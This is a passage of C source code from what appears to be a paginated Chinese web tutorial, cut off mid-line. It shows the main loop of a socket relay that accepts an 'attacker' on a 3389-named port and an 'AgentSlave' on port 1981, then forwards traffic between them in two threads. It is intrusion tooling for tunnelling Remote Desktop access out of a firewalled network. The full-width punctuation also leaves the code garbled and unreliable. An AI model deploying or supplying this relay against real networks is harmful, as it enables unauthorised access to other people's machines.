&Local3389,sizeof（Local3389））==SOCKET_ERROR）
{
printf（"\nbind（） failed:%d",GetLastError（））;
__leave;
}
//listen for attacker to connect
if（listen（s3389,1）==SOCKET_ERROR）
{
printf（"\nlisten（） failed:%d",GetLastError（））;
__leave;
}
//bind s1981 for AgentSlave
if（bind（s1981,（struct sockaddr *）&Local1981,sizeof（Local1981））==SOCKET_ERROR）
{
printf（"\nbind（） failed:%d",GetLastError（））;
__leave;
}
//listen for AgentSlave to connect
if（listen（s1981,1）==SOCKET_ERROR）
{
printf（"\nlisten（） failed:%d",GetLastError（））;
__leave;
}
//socket循环
while（1）
{
//wait for AgentSlave to connect
iAddrSize=sizeof（Slave）;
sock[1]=accept（s1981,（struct sockaddr *）&Slave,&iAddrSize）;
if（sock[1]==INVALID_SOCKET）
{
printf（"\naccept（） failed:%d",GetLastError（））;
break;
}
printf（"\nAccept AgentSlave==〉%s:%d",inet_ntoa（Slave.sin_addr）, ntohs（Slave.sin_port））;
//wait for Attacker to connect
iAddrSize=sizeof（Attack）;
sock[0]=accept（s3389,（struct sockaddr *）&Attack,&iAddrSize）;
if（sock[0]==INVALID_SOCKET）
{
printf（"\naccept（） failed:%d",GetLastError（））;
break;
}
printf（"\nAccept Attacker==〉%s:%d",inet_ntoa（Attack.sin_addr）, ntohs（Attack.sin_port））;
//创建两个线程进行数据转发
hThreadC2T=CreateThread（NULL,0,TCPDataC2T,（LPVOID）sock,0,&dwThreadID）;
hThreadT2C=CreateThread（NULL,0,TCPDataT2C,（LPVOID）sock,0,&dwThreadID）;
//等待两个线程结束
WaitForSingleObject（hThreadC2T,INFINITE）;
CloseHandle（hThreadC2T）;
CloseHandle（hThreadT2C）;
closesocket（sock[0]）;
closes上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |
